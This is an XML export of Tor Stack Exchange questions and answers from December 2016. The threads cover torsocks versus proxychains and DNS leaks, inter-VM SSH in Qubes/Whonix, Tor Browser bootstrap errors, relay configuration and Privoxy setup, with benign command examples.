  <row Id="13519" PostTypeId="1" CreationDate="2016-12-28T00:58:50.640" Score="3" ViewCount="6742" Body="&lt;p&gt;I often alternate between torsocks/proxychains when using wget, youtube-dl, gpg2, ssh, pacman and more [non-multithreading] applications. If torsocks breaks or seems abnormally slow, I'll likely try proxychains and vice versa. Other applications like curl I use the built-in proxy flags. But I wonder how certain applications handle dns requests. It seems safer to proxy the entire command.&lt;/p&gt;&#xA;&lt;p&gt;What are some notable pros/cons to using torsocks/proxychains with any of the above applications? Should torsocks be priority over proxychains? Is one better with dns leaks than the other? Or should I just continue to use my patented whatever-fucking-works method?&lt;/p&gt;&#xA;&lt;p&gt;Some examples of usage:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /etc/pacman.conf&#xA;&#xA;XferCommand = /usr/bin/torsocks /usr/bin/wget --passive-ftp -c -O %o %u&#xA;&#xA;$ proxychains youtube-dl --no-part https://www.youtube.com/lamevideo&#xA;&#xA;$ torsocks ssh -i somekey user@myhiddenserver.onion -p 54321&#xA;&#xA;$ torsocks gpg2 --keyserver pool.sks-keyservers.net --recv-keys 0x4E2C6E8793298290&#xA;&#xA;$ proxychains wget --https-only https://website.com/download.tar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15626" LastEditorUserId="13068" LastEditDate="2023-08-03T03:47:06.747" LastActivityDate="2023-08-03T03:47:06.747" Title="Torsocks vs Proxychains?" Tags="|configuration|ubuntu|dns|torsocks|transparent-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13521" PostTypeId="2" ParentId="13519" CreationDate="2016-12-28T01:55:57.500" Score="6" Body="&lt;p&gt;You should prefer &lt;code&gt;torsocks&lt;/code&gt; over &lt;code&gt;proxychains&lt;/code&gt;, since &lt;code&gt;torsocks&lt;/code&gt; is intended to block potential leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially in cases with tools like &lt;code&gt;youtube-dl&lt;/code&gt; which might try to pass over execution to programs that can make network connections of their own in unexpected or attacker controlled ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically with proxychains, if anything wrapped in proxychains tries to make any call to connect on an address that isn't a TCP internet connection, it will allow it to go through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at &lt;code&gt;libproxychains.c&lt;/code&gt; from the &lt;a href=&quot;https://sourceforge.net/projects/proxychains/&quot; rel=&quot;noreferrer&quot;&gt;source code&lt;/a&gt;, we see the following...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here it finds the original &quot;connect&quot; function and creates a &quot;true_connect&quot; function to provide the original &quot;connect&quot; call, which it has replaced with it's own &quot;connect&quot; function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static void init_lib()&#xA;{&#xA;...&#xA;    true_connect = (connect_t) dlsym(RTLD_NEXT, &quot;connect&quot;);&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, inside their replacement &quot;connect&quot; function it looks at the type of socket it's being asked to connect, if it is not an internet TCP connection, it passes it to the &quot;true_connect&quot; function, allowing the connection through without proxying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int connect (int sock, const struct sockaddr *addr, unsigned int len)&#xA;{&#xA;...&#xA;    getsockopt(sock,SOL_SOCKET,SO_TYPE,&amp;amp;socktype,&amp;amp;optlen);&#xA;    if (! (SOCKFAMILY(*addr)==AF_INET  &amp;amp;&amp;amp; socktype==SOCK_STREAM))&#xA;        return true_connect(sock,addr,len);&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means applications could accidentally connect or leak information about Tor usage or link Tor usage to your real connection. Similarly if you do not explicitly tell it to proxy DNS requests it will perform DNS lookups outside of Tor instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely, &lt;code&gt;torsocks&lt;/code&gt; will deny such connection attempts stopping such accidental leaks and will use &lt;code&gt;tor&lt;/code&gt; to perform the DNS resolution.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-28T01:55:57.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13522" PostTypeId="1" AcceptedAnswerId="13546" CreationDate="2016-12-28T02:01:32.350" Score="1" ViewCount="1770" Body="&lt;p&gt;I'm running Qubes with two Whonix Workstations side-by-side on the same Whonix Gateway.  I'd like to set up SSH communication between them: locally, not through the onionsphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I configure the Whonix Gateway to properly route these local TCP packets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or pending that, what is the nature of the Whonix routing and firewall setup, or where do I go to learn it?&lt;/p&gt;&#xA;" OwnerUserId="11984" LastEditorUserId="11984" LastEditDate="2016-12-31T12:32:20.470" LastActivityDate="2016-12-31T12:32:20.470" Title="How to configure Whonix Gateway for communication between two local Workstations in Qubes?" Tags="|whonix|firewall|iptables|qubes|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13523" PostTypeId="1" CreationDate="2016-12-28T13:48:25.420" Score="2" ViewCount="177" Body="&lt;p&gt;I wrote a book about Tor, and my proud grandma wanted to have a copy. So she got it, said &quot;What a beautiful picture on the cover!&quot; and - &quot;What is this, Tor?&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;She doesn't know a word about cryptography, never used a computer. But she uses a web browser from her smartphone. How can I explain what makes Tor special to a non-technical person? I don't mean introducing in using, and the existing question &quot;What is Tor?&quot; with its answers is still much too technical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such challenges are not rare. I need to explain to my boss why I request some days off to go to a Tor conference, and soon my daughter will want to know why daddy is so excited about his Tor Browser. My girlfriend needs to understand why I spend so much time researching Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know eye-opening words? Perhaps an analogy or a metaphor would help? So grandma, girlfriend, daughter, boss - all may roughly understand and say &quot;Ah, such a thing? Useful indeed!&quot;&lt;/p&gt;&#xA;" OwnerUserId="15631" LastActivityDate="2017-01-04T12:13:40.103" Title="How can I explain the meaning of Tor to my grandma?" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ClosedDate="2017-01-09T21:17:15.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="13525" PostTypeId="2" ParentId="13523" CreationDate="2016-12-28T17:16:11.793" Score="0" Body="&lt;p&gt;The nearest analogy may be the telephone, and assuming you wouldn't like persons unknown knowing who you are calling and what you are talking about. So if you consider using the Internet to be like &quot;calling&quot; a website with your computer, then Tor is something you can plug in that makes sure nobody knows what websites you are viewing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you may say that you don't have anything to hide and so have no interest in hiding who you are &quot;talking&quot; to. But that is a different matter.&lt;/p&gt;&#xA;" OwnerUserId="15634" LastActivityDate="2016-12-28T17:16:11.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13528" PostTypeId="1" CreationDate="2016-12-28T19:24:29.620" Score="2" ViewCount="2409" Body="&lt;p&gt;All of a sudden starting Tor Browser reproducably gets stuck at loading network status. It worked earlier today and I am not aware of any change on my computer other than shutting it down and starting it again after a couple of hours. Rebooting pc does not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor-browser&#xA;Launching Tor Browser for Linux in /opt/tor-browser_en-US/Browser...&#xA;Dec 28 20:14:39.637 [notice] Tor v0.2.5.10 (git-13318a95ddfbbf8d) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1i and Zlib 1.2.3.3.&#xA;Dec 28 20:14:39.637 [notice] Tor can't help you if you use it wrong! Learn how to be safe at &lt;a href=&quot;https://www.torproject.org/download/download#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/download#warning&lt;/a&gt;&#xA;Dec 28 20:14:39.637 [notice] Read configuration file &quot;/opt/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc-defaults&quot;.&#xA;Dec 28 20:14:39.637 [notice] Read configuration file &quot;/opt/tor-browser_en-US/Browser/TorBrowser/Data/Tor/torrc&quot;.&#xA;Dec 28 20:14:39.649 [notice] Opening Socks listener on 127.0.0.1:9150&#xA;Dec 28 20:14:39.649 [notice] Opening Control listener on 127.0.0.1:9151&#xA;Dec 28 20:14:39.000 [notice] Parsing GEOIP IPv4 file /opt/tor-browser_en-US/Browser/TorBrowser/Data/Tor/geoip.&#xA;Dec 28 20:14:39.000 [notice] Parsing GEOIP IPv6 file /opt/tor-browser_en-US/Browser/TorBrowser/Data/Tor/geoip6.&#xA;Dec 28 20:14:39.000 [notice] Bootstrapped 0%: Starting&#xA;Dec 28 20:14:39.000 [notice] Updating address for directory authority Faravahar from 154.35.32.5:80 to 154.35.175.225:80 based on certificate.&#xA;Dec 28 20:14:40.000 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Dec 28 20:14:40.000 [notice] New control connection opened from 127.0.0.1.&#xA;Dec 28 20:14:40.000 [notice] New control connection opened from 127.0.0.1.&#xA;Dec 28 20:14:40.000 [notice] Bootstrapped 10%: Finishing handshake with directory server&#xA;Dec 28 20:14:40.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection&#xA;Dec 28 20:14:40.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus&#xA;Dec 28 20:14:40.000 [warn] Received http status code 404 (&quot;Not found&quot;) from server '46.166.177.70:443' while fetching &quot;/tor/keys/fp/27B6B5996C426270A5C95488AA5BCEB6BCC86956+585769C78764D58426B8B52B6651A5A71137189A+80550987E1D626E3EBA5E5E75A458DE0626D088C&quot;.&#xA;Dec 28 20:14:41.000 [notice] Bootstrapped 25%: Loading networkstatus consensus&#xA;Dec 28 20:14:41.000 [warn] Received http status code 404 (&quot;Consensus not signed by sufficient number of requested authorities&quot;) from server '46.166.177.70:443' while fetching consensus directory.&#xA;Dec 28 20:15:42.000 [warn] Received http status code 404 (&quot;Consensus not signed by sufficient number of requested authorities&quot;) from server '50.7.161.218:9001' while fetching consensus directory.&#xA;Dec 28 20:15:42.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could have happened ?&lt;/p&gt;&#xA;" OwnerUserId="15638" LastActivityDate="2016-12-29T09:43:03.523" Title="Tor-Browser: Problem fetching consensus" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13531" PostTypeId="1" CreationDate="2016-12-28T22:21:44.933" Score="1" ViewCount="1017" Body="&lt;p&gt;A &quot;click to pop-up&quot; is a useful tool if properly used.  For instance to illustrate a text with an image, like a sized map or chart.  That's quite different to a pop-up on top or pop-up under. So, why Tor opens a &quot;click to pop-up&quot; in a tab?&lt;/p&gt;&#xA;" OwnerUserId="15642" LastActivityDate="2017-01-04T09:32:50.243" Title="How to allow &quot;click to pop-up&quot;" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13532" PostTypeId="2" ParentId="13528" CreationDate="2016-12-29T09:43:03.523" Score="2" Body="&lt;p&gt;tldr: Your Tor Browser is ancient, insecure, and will have intermittent breakage.  Update it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tor daemon has a hardcoded list of directory authorities.  Because your Tor Browser (and thus tor) installation is ancient, this list is out of date, leading you to only trust a subset of the current directory authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday &lt;code&gt;maatuska&lt;/code&gt; missed voting on a consensus, and so, your tor daemon thought that not enough directory authorities voted, when if you were running something up to date, things would have been fine.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2016-12-29T09:43:03.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13533" PostTypeId="1" CreationDate="2016-12-29T13:40:33.963" Score="1" ViewCount="107" Body="&lt;p&gt;Tried all the &quot;built-in&quot; bridges (fte, meek...etc) as well as custom ones...no go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working fine for over a year. Just recently it started doing this. I'm not an expert, just a basic computer user, or myabe &quot;a little&quot; more than the average user - so layman's terms would be much appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any point in the right direction? Thanks in adavnce!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PgPjV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PgPjV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;12/29/2016 15:10:54 PM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/2016 15:11:03 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/2016 15:11:03 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/2016 15:11:03 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/2016 15:11:03 PM.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12/29/2016 15:11:03 PM.100 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;12/29/2016 15:11:23 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/29/2016 15:11:23 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/2016 15:11:23 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;12/29/2016 15:11:23 PM.800 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;12/29/2016 15:11:34 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/2016 15:11:34 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/2016 15:11:34 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/2016 15:11:34 PM.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12/29/2016 15:11:41 PM.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;12/29/2016 15:12:41 PM.900 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 7; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3) &#xA;12/29/2016 15:12:41 PM.900 [WARN] 1 connections have failed: &#xA;12/29/2016 15:12:41 PM.900 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;12/29/2016 15:14:11 PM.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/29/2016 15:14:11 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/2016 15:14:11 PM.000 [NOTICE] Closing old Socks listener on        127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15650" LastActivityDate="2016-12-29T13:40:33.963" Title="Plz help! Tor failed to establish a Tor network connection...(done - 0.0.2.0:3)" Tags="|tor-browser-bundle|configuration|relays|bridge|" AnswerCount="0" CommentCount="5" ClosedDate="2017-05-09T12:12:49.130" ContentLicense="CC BY-SA 3.0" />
  <row Id="13534" PostTypeId="1" CreationDate="2016-12-29T15:37:58.590" Score="0" ViewCount="192" Body="&lt;p&gt;While Tor Browser has automatic updates, why the Tor client doesn't have an integrated automatic update mechanism? Because if you look at this graph&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://metrics.torproject.org/versions.png?start=2016-09-20&amp;amp;end=2016-12-29&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that a lot of relays are still using old versions such as 0.2.4 ! It seems i2p already has an automatic updater that works... So why doesn't Tor come with one?&lt;/p&gt;&#xA;" OwnerUserId="15653" LastActivityDate="2017-01-29T01:59:38.903" Title="While Tor Browser has automatic updates, why the Tor client doesn't have an integrated automatic update mechanism?" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13535" PostTypeId="1" CreationDate="2016-12-29T15:41:40.077" Score="1" ViewCount="165" Body="&lt;p&gt;What happens if a rendez vous point for a single onion service is a relay that uses an old version of Tor that doesn't support the recent single onion service feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if that wouldn't happen if Tor checks for versions before choosing the rendez vous, doesn't it mean that it's easier to do de-anonymization attacks because the possible paths or circuits are much less than if all relays had up to date tor versions?&lt;/p&gt;&#xA;" OwnerUserId="15654" LastActivityDate="2017-11-24T23:44:12.923" Title="What happens if a rendez vous point for a single onion service is a relay that uses an old version of Tor?" Tags="|onion-services|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13536" PostTypeId="2" ParentId="13534" CreationDate="2016-12-29T17:41:44.537" Score="1" Body="&lt;p&gt;Many reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The Tor Project doesn't control how it's software is installed on any given system and cannot ensure the automatic updater could run&lt;/li&gt;&#xA;&lt;li&gt;Tor being able to write to it's own binary is a means for a hacker to gain persistence.&lt;/li&gt;&#xA;&lt;li&gt;Tor being able to write to it's own binary is a privileged escalation vulnerability on most common installations.&lt;/li&gt;&#xA;&lt;li&gt;Running a diverse software set helps prevent mass exploitation by a single exploit.&lt;/li&gt;&#xA;&lt;li&gt;0.2.4 isn't considered broken yet and is still within the set of recommended versions.&lt;/li&gt;&#xA;&lt;li&gt;Some administrators would, for obvious reasons, look suspiciously at the ability of the Tor Project to push and execute software on their systems with no interaction on their part.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Conversely:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Project runs repos for Debian, Ubuntu, CentOS and Redhat which allow system administrators to use a centralised software update mechanism to update Tor when an update is available.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-29T17:41:44.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13537" PostTypeId="2" ParentId="13535" CreationDate="2016-12-29T17:47:44.773" Score="1" Body="&lt;p&gt;The difference is in the client or onion service, the rendezvous point just has two inbound circuits rendezvous at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can't easily determine how many hops were taken to reach it, nor does it matter to it for it's part in the rendezvous protocol.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-12-29T17:47:44.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13539" PostTypeId="2" ParentId="12395" CreationDate="2016-12-30T09:42:16.700" Score="0" Body="&lt;p&gt;It highly depends on &lt;em&gt;what exactly is running on your website&lt;/em&gt;. Basically - if your site makes no leaks - it's possible and OK(in a full-static website case, for example), but you need to double-check all your active content. The checks scheme is a reverse proxy screinario: from the website hosting point of view Tor relays will be a reverse proxy for your website.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-30T09:42:16.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13541" PostTypeId="1" CreationDate="2016-12-30T18:56:28.523" Score="0" ViewCount="261" Body="&lt;p&gt;I'm a new user so I wanted to confirm if browsing simultaneously on some other browser will affect my security . &lt;/p&gt;&#xA;" OwnerUserId="15603" LastActivityDate="2017-01-01T16:28:57.290" Title="is it safe to browse in other browser while using TOR browser?" Tags="|security|" AnswerCount="1" CommentCount="2" ClosedDate="2017-01-10T16:38:57.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="13542" PostTypeId="1" AcceptedAnswerId="17042" CreationDate="2016-12-30T19:20:07.973" Score="4" ViewCount="2224" Body="&lt;p&gt;I am a unfortunate customer of a provider that uses a so-called &lt;em&gt;DualStack Lite&lt;/em&gt; (I can't post more than two URLs - check Wikipedia for detailed information on &lt;em&gt;DualStack Lite&lt;/em&gt;). Short: My router can't be reached via &lt;code&gt;ipv4&lt;/code&gt; easily. After I've switched to the new provider (I didn't realize the consequences) my TOR relay quit working (it's still configured with &lt;code&gt;ipv4&lt;/code&gt;-ports only, so it's clear why it can't work). &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/IPv6RelayHowto&quot; rel=&quot;nofollow noreferrer&quot;&gt;This howto&lt;/a&gt; says that it's not yet possible to run a &lt;code&gt;ipv6&lt;/code&gt;-only TOR relay.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I understand that I can't run the relay with the DualStack Lite &lt;em&gt;natively&lt;/em&gt; (as opposed to the outlined workaround below) - is that correct?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to use a &lt;a href=&quot;http://www.static-access.net/dslite-ipv6-portmapper/universal-portmappers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;service like this&lt;/a&gt; to work around the limitations and run a TOR relay?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I assume that the answer to the latter question will be &lt;em&gt;no&lt;/em&gt; because - as I understand - my relay registers itself at some TOR database with an outgoing &lt;code&gt;ipv4&lt;/code&gt; address and the configured &lt;code&gt;ipv4&lt;/code&gt; ports. If using a &lt;code&gt;ipv4&lt;/code&gt; -&gt; &lt;code&gt;ipv6&lt;/code&gt; portmapper, a specific URL is used - one the TOR relay doesn't know about. Thus I think it's not possible for other TOR clients/relays to connect to my TOR relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the answer to the latter question indeed &lt;em&gt;is&lt;/em&gt; yes, could someone provide some &lt;em&gt;howto&lt;/em&gt; or more detailed information about how to configure that (I didn't find anyting yet)? &lt;/p&gt;&#xA;" OwnerUserId="15665" LastActivityDate="2018-06-17T19:58:56.383" Title="Run TOR relay with ipv6 only (&quot;DualStack Lite&quot;)" Tags="|relays|network-configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13546" PostTypeId="2" ParentId="13522" CreationDate="2016-12-31T12:18:49.960" Score="1" Body="&lt;p&gt;sys-whonix is not set up to forward packets between VMs, and doing has not been evaluated for leaks.  Instead, qrexec should be used for inter-vm communication.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In dom0, create a file &lt;code&gt;/etc/qubes-rpc/policy/local.ssh&lt;/code&gt; containing the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;srcVMname destVMname allow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace with the actual names of your VMs.  Repeat this line for as many connection pairs as needed.  This informs Qubes to allow srcVM to execute the script 'local.ssh' in destVM; see &lt;a href=&quot;https://www.qubes-os.org/doc/qrexec3/#qubes-rpc-administration&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.qubes-os.org/doc/qrexec3/#qubes-rpc-administration&lt;/a&gt; for more&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In each destVM, create a file &lt;code&gt;/etc/qubes-rpc/local.ssh&lt;/code&gt;, containing the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exec socat STDIO TCP-CONNECT:localhost:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a simple script that binds its input and output to a local connection on port 22, the ssh port.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In each srcVM, add two lines to either &lt;code&gt;~/.ssh/config&lt;/code&gt; or &lt;code&gt;/etc/ssh/ssh_config&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host destVMname&#xA;    ProxyCommand qrexec-client-vm %h local.ssh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;destVMname&lt;/code&gt; with the actual name of your destination vm.  This tells ssh that when you ask to connect to &lt;code&gt;destVMname&lt;/code&gt;, it should run an inter-vm process instead of making a network connection.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it!  Thanks to Patrick and entr0py for doing most of the work figuring out that this is the right approach at &lt;a href=&quot;https://forums.whonix.org/t/multiple-whonix-workstations-that-can-communicate-with-each-other/2524/16&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.whonix.org/t/multiple-whonix-workstations-that-can-communicate-with-each-other/2524/16&lt;/a&gt; .&lt;/p&gt;&#xA;" OwnerUserId="11984" LastActivityDate="2016-12-31T12:18:49.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13548" PostTypeId="1" CreationDate="2016-12-31T14:49:06.473" Score="0" ViewCount="1140" Body="&lt;p&gt;I am having trouble loading all the content at extratorrent.cc. I get past the Captcha fine, then the page loads but with none of the torrent content. And searching for a torrent file doesn't work either. I just have a consistent blank white space in the page. I have temporarily allowed scripts in the torbrowser toolbar and tried changing identity too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been an issue for me for a few weeks now. Very occassionaly the site 'works' but then goes back to the same problem described.&lt;/p&gt;&#xA;" OwnerUserId="15676" LastActivityDate="2022-04-10T08:04:05.383" Title="Using extratorrent.cc" Tags="|help|bittorrent|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13550" PostTypeId="2" ParentId="13548" CreationDate="2016-12-31T17:28:52.630" Score="0" Body="&lt;p&gt;It seems that exit nodes that are used are mostly blocked, I had this situation when I was trying to use a webmail - it said that sending is impossible because of spam listing of the client IP. In this case nothing than &quot;try and change exit&quot; will work, I'm afraid. Also take a look at network activity tab or install Firebug - sometimes some in-JS requests are failing silently, and that's why it can be broken.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-31T17:28:52.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13551" PostTypeId="1" CreationDate="2016-12-31T19:33:37.127" Score="4" ViewCount="6396" Body="&lt;p&gt;TBB 6.0.8, Privoxy 3.0.26&lt;/p&gt;&#xA;&lt;p&gt;What I did - in the Privoxy configuration file prescribed&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;listen-address 127.0.0.1:8118&lt;/p&gt;&#xA;&lt;p&gt;forward-socks4 / 127.0.0.1:9150 .&lt;/p&gt;&#xA;&lt;p&gt;forward-socks4a / 127.0.0.1:9150 .&lt;/p&gt;&#xA;&lt;p&gt;forward-socks5 / 127.0.0.1:9150 .&lt;/p&gt;&#xA;&lt;p&gt;forward-socks5t / 127.0.0.1:9150 .&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In browser settings, connection settings, HTTP, HTTPS and SOCKS5 - 127.0.0.1:8118&lt;/p&gt;&#xA;&lt;p&gt;As a result, any page shows me - &amp;quot;Could not find proxy server&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="15679" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2018-10-27T23:00:46.747" Title="Tor Browser + Privoxy: how to make them work together?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13552" PostTypeId="1" AcceptedAnswerId="13554" CreationDate="2016-12-31T20:52:23.723" Score="1" ViewCount="670" Body="&lt;p&gt;I'm using Tor v0.2.8.9 on Mac Sierra.  I start Tor like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --CookieAuthentication 0 --HashedControlPassword &quot;&quot; --ControlPort 9050 --SocksPort 50003&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HOwever when I try and get a file using torsocks (installed via homebrew), it just hangs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;localhost:tmp myuser$ torsocks wget -q -O- http://www.google.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't changed any configuraitons after getting things installed.  What else do I need to do to get wget working through torsocks?&lt;/p&gt;&#xA;" OwnerUserId="14367" LastActivityDate="2017-01-01T19:15:43.967" Title="Torsocks hangs when I try and download a file" Tags="|socks|mac|torsocks|terminal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13554" PostTypeId="2" ParentId="13552" CreationDate="2016-12-31T22:37:46.627" Score="0" Body="&lt;p&gt;sometimes wget can give a hard time even using a regular proxy. Use curl like this &lt;code&gt;curl --socks5-hostname localhost:50003 http://www.google.com&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-12-31T22:37:46.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
